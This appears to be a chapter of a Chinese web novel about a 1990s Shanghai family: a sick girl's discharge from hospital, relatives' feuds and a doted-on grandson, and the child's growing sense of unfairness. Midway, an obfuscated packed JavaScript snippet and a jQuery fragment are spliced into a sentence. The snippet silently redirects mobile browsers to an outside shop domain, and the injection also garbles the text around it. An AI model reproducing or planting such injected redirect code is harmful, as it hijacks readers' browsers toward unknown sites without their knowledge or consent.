拆线那天早晨，病房里的光线特别清亮。尧医生戴着无菌手套，手指灵巧得像在弹钢琴。他用一把细细的银色剪刀，轻轻剪断那根黑色的缝合线，再用镊子一根一根地夹出来。悠悠仰着脖子，有些紧张，但出乎意料地，真的不怎么疼，只有些微的牵拉感。
“五针，”尧医生对着光仔细检查伤口，“愈合得不错。记住，结痂的地方绝对不能碰水，等痂自然脱落了才能洗澡。”
西贝站在一旁，虽然作为赤脚医生，她对处理伤口、拆线这些流程再熟悉不过，但还是听得极其认真，不住地点头，仿佛这是她第一次听说这些注意事项。她心里清楚，拆线只是物理伤口的愈合，真正的康复期才刚刚开始。哮喘这个病就像潜伏在暗处的敌人，不会因为一次手术就彻底消失，它需要长期的、耐心的、时刻警惕的斗争。
接过出院单时，西贝觉得手里那张纸有千斤重。这个月的全勤奖又没了，但没办法。双腿灌了铅似的沉，但也没办法。胸口像压着石头，连呼吸都费力，但也没办法。有那么一瞬间，她脑子里闪过一个念头——怨恨父母当初的决定，怨恨他们为何要撮合她与甘英嵘的婚姻，为何不让她听从自己内心的选择（那一年，片警，小陈，手风琴…）。可这念头刚冒出来，就被她自己掐灭了。恨也没办法，木已成舟。
她想，要是悠悠以后能像别的孩子一样，健健康康，有各种发展的可能，该多好。可这念头更奢侈，像天边的云，看得见，摸不着。累，真的太累了。二妹西桦在北京，天高皇帝远；三妹西敏只知道自己高兴，根本靠不住；四弟西春倒是热心，可他自己还是个“玩气”大的，家里更有个斤斤计较的媳妇尹雅，能把自己家那摊子事捋顺就不错了。
说起西春这媳妇尹雅，那真是个厉害角色。尹雅在家排行最小，上面有两个哥哥，父母兄长都把她当眼珠子疼，说是“宠”都不够，简直是“惯”。嫁到西家，那脾气也是一点没改。西春但凡在生活上有一丁点不如她意，比如工资交晚了，跟朋友多喝了两杯酒，那可不是小夫妻拌嘴那么简单。尹雅能立刻打电话回娘家搬救兵，不出半天，她那两个五大三粗的哥哥，有时甚至带着嫂子，就能气势汹汹地杀到永嘉路西林、孙兰老两口和西春、西敏同住的那个拥挤的三室户房子里来“评理”。
说是评理，其实就是围攻。两个哥哥往那一站，嗓门洪亮，话里话外都是“老干部算什么，我妹妹嫁到你们家是下嫁”，“我妹妹在家里我们都没让她受过一点委屈”，“西春你什么意思？是不是欺负我们尹家没人？” 西春本就是个有点“玩气”、遇事想躲的主儿，面对这阵仗，常常是面红耳赤，有理也说不清，最后多半是低头认错，赌咒发誓下次不敢。老两口西林和孙兰看在眼里，气在心里，可又不敢真得罪亲家，更怕把事情闹大让邻居看笑话，只能强压着火气打圆场，说好话，心里却憋屈得不行。他们这当父母的，一辈子为儿女操心，到老了还得在小辈的争吵里受夹板气。尹雅和西春，还有西敏一家，挤在老两口的房子里，不说孝敬，能少给老人添点堵、少刮蹭点老人的退休金贴补他们小家的开销，孙兰和西林就要念阿弥陀佛了。可事实上，这几个成了家的子女，没一个真正让二老省心的，都是手心朝上、理所当然享受父母“倒贴”的主儿。
三姐西敏，和这个弟媳妇尹雅，那更是针尖对麦芒，天生的冤家。西敏是个贪图享受、只顾自己快活的主儿，手里有点闲钱，宁可去买时兴的的确良衬衫、去新开的咖啡馆坐坐，也不愿多给家里添置点像样的吃用。尹雅则恰恰相反，是个会“过日子”的，但她的“会过”，是只对自己、对娘家大方，对婆家、对亲戚，那是能抠就抠，一分钱恨不得掰成八瓣花，占便宜没够，吃亏难受。两人一个虚荣享受，一个精明算计，互相都瞧不上眼。西敏嫌尹雅小气吧啦、算计到骨头缝里，没点“上海小姐”的派头；尹雅则鄙夷西敏大手大脚、只顾自己、不像个当妈的样子。两人在一个屋檐下，为了一点鸡毛蒜皮——比如厨房谁多用了点油，卫生间谁忘了冲水，晾衣服谁占了谁的地方，甚至今天谁在背后说了谁一句闲话——都能吵得天翻地覆。
最大的一次冲突，闹得整个楼栋都不得安生。起因似乎只是一把韭菜，尹雅怀疑西敏偷拿了她买来准备包饺子的韭菜，西敏矢口否认，骂尹雅“神经病”、“穷疯了诬赖人”。两人从厨房吵到过道，从指桑骂槐到指着鼻子对骂，最后彻底撕破脸，动起了手。西敏扯着尹雅的头发，尹雅则用指甲在西敏脸上抓出了血道子。西敏尖声哭嚎着给西贝打电话：“大姐你快来！尹雅这个泼妇要杀人了！” 尹雅也不甘示弱，立刻打电话叫来了自己的两个哥哥。等西贝心急火燎地赶到永嘉路时，看到的就是这样一幅景象：狭窄的楼道里挤满了看热闹的邻居，屋里，尹雅的两个哥哥指着西敏的鼻子骂，西敏披头散发、脸上带伤，哭得声嘶力竭；尹雅也在哭，但更多是干嚎，头发乱了，衣服也扯歪了；西春缩在角落，脸色惨白，一句话也不敢说；而老父亲西林气得浑身发抖，老母亲孙兰在一旁急得直掉眼泪，劝谁都不是。好好的一个家，闹得如同市井菜场，毫无体面可言。最后还是西贝强压着心头的怒火和羞耻，好说歹说，又拉又劝，才勉强把双方暂时分开。事后，西敏和尹雅更是形同陌路，连表面功夫都懒得做了，家里整天低气压，老两口的日子更加难熬。
在这样复杂混乱的家庭环境里，西春和尹雅的儿子西召，却像一颗被精心呵护的珍珠，在浑浊的泥潭里闪着格格不入的、被过度期待的光芒。西召从小生得白净，大眼睛，长睫毛，鼻梁挺直，嘴唇红润，确实比一般孩子更精致些，尤其是幼时，头发微微有些卷曲，皮肤白皙，乍一看真有几分像年画上的外国娃娃。这可成了尹雅最大的骄傲和谈资。从西召还在襁褓里开始，尹雅就逢人便夸，说儿子是“电影明星的脸”、“天生当演员的料”，那笃定和自豪的劲儿，仿佛儿子明天就能上挂历、拍广告。这份“星妈”的执念，竟与西敏对女儿韩璐的“艺术苗子”期待不谋而合，只不过韩璐的美更偏向于甜美娇憨，而西召则被尹雅吹捧得带了些不切实际的、洋气的高级感。
尹雅自己是社区卫生服务中心超声科的医生，有正式编制，这份体面的工作让她在“培养”儿子上更有底气和“远见”。她坚信儿子不能输在起跑线上，更确切地说，是不能输在她所设想的、星光熠熠的“终点线”上。西召刚上幼儿园没多久，就被她送去少年宫，学唱歌、学跳舞、学朗诵，凡是能展示、能“露脸”的才艺班，恨不得都给儿子报上。每次少年宫有汇报演出，尹雅总是最积极的那个，早早给西召置办行头，把他打扮得像个真正的“小童星”，然后拉着西林、孙兰，甚至西贝等一干亲戚去捧场。西召在台上表演，尹雅在台下比谁都激动，眼神里闪烁的光芒，仿佛已经看到儿子站在了更大的舞台上。
西林和孙兰本就疼爱这个唯一的孙子（韩璐毕竟是外孙女），再加上西召确实生得玉雪可爱，嘴巴又甜，小小年纪就深谙“看人下菜碟”之道，知道在谁面前说什么话最能讨人欢心。他会抱着孙兰的腿，奶声奶气地说“奶奶做的饭全世界最好吃”；会在西林看报纸时，凑过去指着上面的字，用夸张的语调说“爷爷认识这么多字，好厉害呀”；会在拿到礼物时，第一时间扑到给礼物的人怀里，甜甜地说“谢谢，我最喜欢你了”。这种与年龄不符的、被刻意训练或耳濡目染而来的“会来事”、“会说话”，更是让两位本就有些重男轻女、又对隔辈人无原则宠溺的老人心花怒放，觉得这孙子简直是天底下最聪明、最懂事、最招人疼的孩子。
于是，溺爱便毫无节制地降临在西召身上。只要西召开口，哪怕是天上的星星，老两口恐怕都会想办法去摘。想吃进口巧克力？买！想要最新的变形金刚玩具？买！看中了别的小朋友身上穿的名牌小夹克？也买！尹雅和西春对儿子的要求更是有求必应，甚至主动迎合他那被不断抬高的物质欲望和虚荣心。西春自己没什么大本事，但在“满足儿子、讨好老婆”这件事上向来不遗余力。尹雅更是将儿子视为自己未来荣耀的载体，觉得儿子的一切要求都是合理的，都是为了“培养气质”、“开拓眼界”。
这份溺爱的源头，甚至可以追溯到西春和尹雅刚结婚那会儿，埋下了一个让西林至今耿耿于怀、却又无法言说的祸根。那时西林还在位，手握一些实权。西春和尹雅新婚不久，小两口看上了一台时下最时髦的收录一体机，价格不菲。正巧，西林的一位老部下老曲有事相求，几次登门，西林都因原则问题没有答应。老曲不知从哪里知道了西春想要收录机的事，竟另辟蹊径，直接搬了一台崭新的、用彩纸包装好的收录一体机送到西家，说是“给西春的新婚贺礼”，绝口不提请托之事。西春和尹雅见猎心喜，尤其是尹雅，觉得脸上有光，不顾西林的犹豫和反对，软磨硬泡，最终收下了这份“礼物”。西林心里清楚这不合规矩，但碍于儿子的恳求和儿媳的撺掇，又觉得或许真是老部下的一片心意，一时糊涂，也就默许了。谁知没过多久，事情就被人捅了出来，西林被调查，虽然最终查明他并未在公事上给予老曲方便，但“收受下属贵重物品”的罪名是坐实了，为此，他从一个前途看好的正级领导，被降为了副级，提前进入了半赋闲状态。这件事成了西林心里一道过不去的坎，是“晚节不保”的污点，更是对儿子、儿媳虚荣短视的痛心与无奈。可讽刺的是，这份用他政治前途换来的教训，似乎并未让西春和尹雅真正醒悟。他们或许愧疚过，但很快就被日常生活的算计和儿子的“需求”所淹没。如今面对西召层出不穷的要求，西林和孙兰依然如故，甚至变本加厉，仿佛想用无限制的物质满足，来弥补对儿子曾经的某种亏欠，或者，仅仅是因为对孙子那份毫无理性的宠爱，已经让他们失去了基本的判断和原则。他们从未想过，这份毫无节制的溺爱，最终会结出怎样的果实。
想到这些，再想到自己家里那个沉默寡言、与自己日渐疏远的丈夫，还有病弱敏感、刚刚动完手术、未来一片迷茫的女儿，西贝心里那点因鲁志军接出院而带来的短暂暖意，迅速被更深的疲惫和无奈所覆盖。自己的小家已经是一地鸡毛，娘家那边更是乌烟瘴气，没一个省油的灯。她有时候真想找个没人的地方大喊几声，或者干脆一走了之。可看着身边病弱的悠悠，看着这个虽然千疮百孔但毕竟还是“家”的地方，她只能把所有的苦楚、烦闷、委屈，连同对父母当初安排婚事那一点点不敢深想的怨恨，一起咽回肚子里，继续硬着头皮，一天天往前捱。
还能怎么办呢？只能咬着牙，继续往前捱。
悠悠那天出院的时候，来接她们出院的是鲁志军。他开着一辆崭新的红色桑塔纳出租车，停在医院门口，在九十年代初的上海街头很是显眼。看到西贝提着大包小包、牵着悠悠走出来，他立刻从驾驶座跳下来，三步并作两步迎上去。
“西贝，悠悠，这边！”他咧开嘴笑，露出一口被烟熏得微黄的牙齿，但笑容是真诚的、热络的。他不由分说接过西贝手里最重的那个行李包，又弯腰看着悠悠，声音不自觉地放软，“哎哟，我们悠悠小公主出院啦？看看这小脸，还是肉呼呼的嘛。鲁叔叔今天当你的专车司机，送你回家，高不高兴？”
悠悠原本因为离开熟悉的环境和温柔的护士阿姨而有些蔫蔫的，看到鲁志军，眼睛瞬间亮了，脆生生地喊：“鲁叔叔！” 下意识地就想像以前那样扑过去抱他的腿，但脖子上的纱布提醒了她，她只是站在原地，仰着小脸，笑得露出了豁牙。
西贝心里一暖，同时又有些复杂的情绪翻涌上来。鲁志军是厂里的老师傅了，技术过硬，为人也豪爽。这些年厂子重组，不少人下了岗，他眼疾手快，直接买断了工龄，用积蓄和借来的钱，买了这辆出租车，自己单干。听说生意还不错，虽然辛苦，但比在厂里拿死工资强多了。他人也念旧，听说悠悠动手术住院，特意打听了出院时间，主动提出来接。
“太麻烦你了，小鲁。”西贝把悠悠抱上车后座，自己坐在副驾驶，语气里满是感激，“这么忙还跑一趟。”
“西贝你这话就见外了。”鲁志军发动车子，熟练地汇入车流，从后视镜里看了眼正扒着车窗好奇张望的悠悠，眼神柔和了一瞬，随即转向西贝，压低了些声音，“悠悠也是我看着长大的，跟我自己闺女差不多。她做这么大手术，我能不来吗？孩子遭罪，你们做大人的更辛苦。”
这话说到了西贝心坎里。这段时间的煎熬、疲惫、无人诉说的压力，被这简单的一句话勾了起来，鼻子一酸，她赶紧别过脸看向窗外。
车里沉默了一会儿，只有发动机的轰鸣和窗外的市声。鲁志军从储物格里摸出一盒“大前门”，抽出一支叼在嘴上，想起什么，又拿下来，歉意地笑笑：“忘了，不能抽，悠悠不能闻烟味。” 他把烟放回去，手指在方向盘上无意识地敲了敲。
“西贝，”他再次开口，声音比刚才更沉了些，眼睛看着前方，语气却带着试探，“你这段时间，一个人扛着，不容易吧？甘……甘工他，厂里也忙？”
西贝心里“咯噔”一下。她知道鲁志军想说什么。这不是第一次了。几年前，鲁志军的妻子因为一些家庭琐事闹得厉害，他喝多了酒，曾红着眼睛对她说过类似的话：“西贝，要是当初……唉，不说了。要是你现在过得不好，我……我这边，随时可以……”
那时西贝就明确地、几乎是慌乱地拒绝了。怎么可能呢？他有家庭，有孩子，她也有家庭，有悠悠。两个完整的家庭，怎么可能因为“过得不好”就轻易拆散重组？那要背负多少骂名，承受多少压力？更何况，她对鲁志军，从来就只有朋友、同事的情谊，感激他的关照，欣赏他的爽快能干，但绝无半分男女之间的旖念。她身上已经压了够多的担子，父母、丈夫、孩子、工作、悠悠的病……任何一点点额外的、可能招致非议和动荡的压力，她都承受不起，也绝不愿意沾染。
“他还行，厂里最近任务重。”西贝含糊地应了一句，迅速转移了话题，“你这车不错，自己开，比在厂里自由吧？”
鲁志军听出了她的回避，眼里闪过一丝失落，但很快掩饰过去，顺着她的话头聊起了开出租的酸甜苦辣。说路上遇到的奇葩客人，说一天开十几个小时的腰酸背痛，也说收入确实比厂里强，能给孩子好一点的条件。
悠悠在后座安静地听着。她喜欢鲁叔叔。鲁叔叔会给她买那种会眨眼睛的洋娃娃，买五颜六色的水果硬糖，会用他粗壮的手臂把她高高举过头顶“坐飞机”，会学各种小动物的叫声逗她笑。每次鲁叔叔来家里（虽然次数不多），或者在外面碰见，爸爸总是沉默地站在一旁，而她会毫不犹豫地、欢笑着扑向鲁叔叔。在孩童最直观的感受里，鲁叔叔代表着新奇、礼物、纵容和毫不掩饰的喜爱；而爸爸……爸爸更像一个沉默的背景。
可是现在，脖子上的伤口还在隐隐作痒，坐在车里的悠悠，看着妈妈略显僵直的背影，听着鲁叔叔和妈妈之间那种她不太懂、但能感觉到有些不一样的对话，心里忽然冒出一种奇怪的感觉。她好像能“听懂”更多了。不是字面的意思，而是字面之下，那些大人没有说出口的情绪。妈妈声音里的疲惫和谨慎，鲁叔叔语气里藏着的关心和……别的什么。
车子在家属院门口停下。鲁志军帮着把东西提上楼，在门口就止步了。“西贝，我就不进去了，车上还挂着‘空车’牌呢，得去跑活了。” 他蹲下身，摸了摸悠悠的头顶，动作很轻，避开了她脖子上的纱布，“悠悠，好好养着，听妈妈的话。等你好利索了，鲁叔叔带你去外滩看大轮船，好不好？”
“好！”悠悠用力点头。
鲁志军又看了西贝一眼，那眼神里有太多内容，最后只化作一句：“西贝，有事……有事就捎个话，别自己硬扛。”
送走鲁志军，关上门，屋子恢复了寂静。熟悉的、略
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621388|206185||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
显陈旧的家，消毒水的气味还未散尽，混合着灰尘的味道。西贝开始忙碌地归置东西，收拾从医院带回来的瓶瓶罐罐、药和病历。悠悠坐在自己的小床上，看着妈妈忙碌的背影，脑子里却像有一台悄悄启动的放映机，不受控制地闪过一些画面。
她记起来了。在外婆家，那架摆在客厅角落的、黑色的、带着好些黑白键的“大玩具”——表姐易蕾的电子琴。她记得那琴键按下去会发出好听的声音，有的高，有的低。她记得有一次，易蕾表姐不在，韩璐大表姐坐在另一处琴凳上（韩璐大表姐有自己的电子琴），手指在琴键上笨拙地按着，发出不成调的“叮叮咚咚”。她就在旁边看着，听着。
后来，等韩璐也玩腻跑开了，她悄悄爬到了易蕾表姐的电子琴上去，学着韩璐的样子，伸出右手一根手指，试探地按下一个白键。“哆——”一个清亮的声音。她又按了旁边一个。“来——” 她记得韩璐刚才按的顺序，好像是“哆、来、咪、发、嗦……” 她试着用一根手指，一个键一个键地按下去，断断续续，但音高是对的。来回按了几次，她居然能用一根手指，磕磕绊绊地弹出“小星星”开头的几个音了！
小姨夫韩杰正好从旁边经过，惊讶地停下脚步，听了一会儿，然后笑着大声说：“哎哟，我们悠悠是‘魔童’啊？听几次就会弹了？了不起了不起！”
她当时心里可得意了，小胸脯挺得高高的，还想再试试别的。可就在这时，妈妈西贝从厨房出来了，看到她在弹琴，脸色微微一变，快步走过来，拉住她的手，声音不大，但很严肃：“悠悠，别碰表姐的电子琴。这是二阿姨买给易蕾的，很贵的，弄坏了不好。”
她当时就蔫了，被妈妈从琴凳上抱下来。心里那点小小的得意和欢喜，像被针扎破的气球，“噗”地一下就没了。她不懂，为什么表姐们都有电子琴，都可以随便弹，她就不行？为什么小姨夫夸她“魔童”，妈妈却不高兴？
还有新衣服。每次她过生日，或者过年，妈妈总会给她准备新衣服。那些衣服真好看，有时是带蕾丝花边的小裙子，有时是绣着小动物的毛衣，跟商店里卖的好像不太一样，更合身，料子摸上去也舒服。她记得妈妈有时会带她去一个有很多“阿姨”的地方，那些阿姨在很大的桌子前，用发出“嗒嗒嗒”响声的机器做衣服。妈妈会拿着布在她们身上比划，跟阿姨们商量样子。那些衣服，很多都是“独一份”的，是妈妈在厂里的技术科托朋友帮忙裁剪的，或者是去服装公司找认识的人“内部”买的处理布头、零料，再请人加工的。在物质还不那么丰富的年头，这样的衣服是很珍贵的。
可是，她不止一次地发现，妈妈总会做两件一模一样的。一件给她，另一件，叠得整整齐齐，用漂亮的纸包好，等到去外婆家时，送给表姐易蕾。
为什么？她曾经懵懂地问过。妈妈一边给她试新衣服，一边语气平常地说：“易蕾姐姐的爸爸妈妈都在北京，离得远，不能常常给她买新衣服。她跟着外公外婆住，我们多给她一点关心，是应该的。”
她当时“哦”了一声，好像懂了，又好像没懂。只是心里有点小小的、说不出的别扭。那是我的新衣服，妈妈给我做的，为什么易蕾姐姐也有一件一模一样的？易蕾姐姐明明有外公外婆疼，有韩璐、西春表姐表弟一起玩，她还有北京那么远的爸爸妈妈（虽然不常见，但听起来就很厉害），为什么还要分走我妈妈对我的爱，我妈妈给我做的新衣服？
现在，脖子上的伤口在隐隐作痒，那些记忆的碎片却越来越清晰。她一个人在家，面对着四面白墙，给不会说话的娃娃“打针”的时候，易蕾在做什么？大概正和韩璐、西召在外婆家的弄堂里跑来跑去，玩着跳房子或者拍洋画吧？她哮喘发作，半夜咳得喘不过气，妈妈抱着她急得掉眼泪的时候，易蕾大概正躺在外婆铺的柔软被窝里，听着外婆讲的睡前故事，安然入睡吧？她因为生病不能上幼儿园，只能孤零零待在家里，一个人看着阳光从窗户这边移到那边的时候，易蕾大概正在幼儿园里，和很多小朋友一起唱歌、做游戏吧？而那个备受宠爱的西召表弟，大概正被外公外婆、爸爸妈妈、舅舅阿姨们众星捧月，想要什么就有什么，少年宫的课程排得满满的，被所有人夸赞着“有明星相”吧？
到底谁更可怜？谁更需要“多给一点关心”？
这个问题像一颗小小的种子，以前模糊地存在，现在，随着手术后某种感知的苏醒，它开始破土，带着尖锐的芽。不公平。这三个字，以前她或许不会形容，但现在，她真切地感受到了。命运，好像从一开始，就没有公平地对待她和易蕾表姐，更没有公平地对待她和西召表弟。不，或许是没有公平地对待“需要被关爱”的孩子。
她看着妈妈在小小的厨房和卧室之间忙碌穿梭的背影，那背影因为劳累而有些佝偻。妈妈把所有的精力和关爱，有时候似乎都分成了两半，甚至更多的一半，给了那个看起来什么都不缺的表姐。而自己这个真正的、病弱的、几乎是她全部负累的女儿，得到的，反而是更严厉的管教（“别碰易蕾的琴”）、更苛刻的要求（“要懂事”），和必须分享的、本应独一无二的新衣服。
一种迟来的、混合着委屈、不解和隐隐愤怒的情绪，像潮水般漫上心头。她为什么现在才这么清楚地意识到？为什么以前只是觉得有点不舒服，却说不出来是为什么？
是不是因为，以前那些不开心，都被“生病”这件更大、更迫近的事情压住了？或者，因为她以前“记不住”？而现在，手术之后，那些被删除的、模糊的感受，正在疯狂地“存档”，变得清晰、具体，带着鲜明的情绪色彩。
她低下头，看着脖子上纱布覆盖的地方传来微微的刺痛和痒。她忽然很想知道，如果易蕾表姐也生了很重很重的病，也要在脖子上开一刀，妈妈还会不会除了新衣服以外，把所有的爱也分给易蕾？如果西召表弟不是那么“有明星相”，不是那么会说话讨人喜欢，外公外婆还会不会那样毫无原则地溺爱他？会不会偶尔会来自己家里关心下自己？
这个念头让她自己打了个寒颤。她不敢再想下去。
窗外的天色渐渐暗下来。妈妈做好了简单的晚饭，招呼她过去吃。依旧是熬得稠稠的白粥，一小碟酱瓜。妈妈把粥吹凉，一勺一勺喂她，眼神里满是温柔和疲惫。
悠悠乖乖地张嘴，吃着，眼睛却看着妈妈眼角新添的细纹，看着她端起碗自己喝粥时，那快速而疲惫的吞咽动作。心里那点刚刚萌芽的委屈和不满，忽然被另一种更汹涌的东西压了下去——那是心疼，还有更深、更无奈的困惑。
妈妈也很累，很辛苦。她知道。可是……可是为什么，妈妈的辛苦，好像并没有全部换来她想象中的、毫无保留的、独一无二的偏爱呢？而外公外婆对西召表弟那种毫无原则的、几乎是要星星不给月亮的溺爱，最终又会换来什么呢？是会让他真的成为“明星”，还是别的什么？她小小的心灵还无法理解“溺爱毁人”这样深刻的道理，但她本能地感觉到，那种氛围，和妈妈对自己时而严厉、时而无奈、总是掺杂着对易蕾表姐额外关注的态度，是那么的不同。
粥吃完了。西贝收拾碗筷，打开水龙头，哗哗的水声响起。悠悠坐在小椅子上，看着妈妈忙碌的背影，小手无意识地摸着脖子上纱布的边缘。
记忆在储存，在叠加。那些好的，坏的，温暖的，冰凉的，公平的，不公平的，被宠爱的，被忽略的……像无数细微的尘埃，缓缓落下，堆积在她刚刚开始清晰起来的世界里，形成最初的、混沌的、充满疑问的地貌。
她知道，有些东西不一样了。从脖子上拆掉那五针线开始，有些看不见的东西，也在悄然愈合，或者……悄然撕裂。而更多的，正在生长出来，带着疑惑的尖刺，和探寻的触角。她开始用一种新的、更清晰也更疼痛的目光，重新审视她所身处的这个世界，以及这个世界里，那些复杂难言的爱与失落。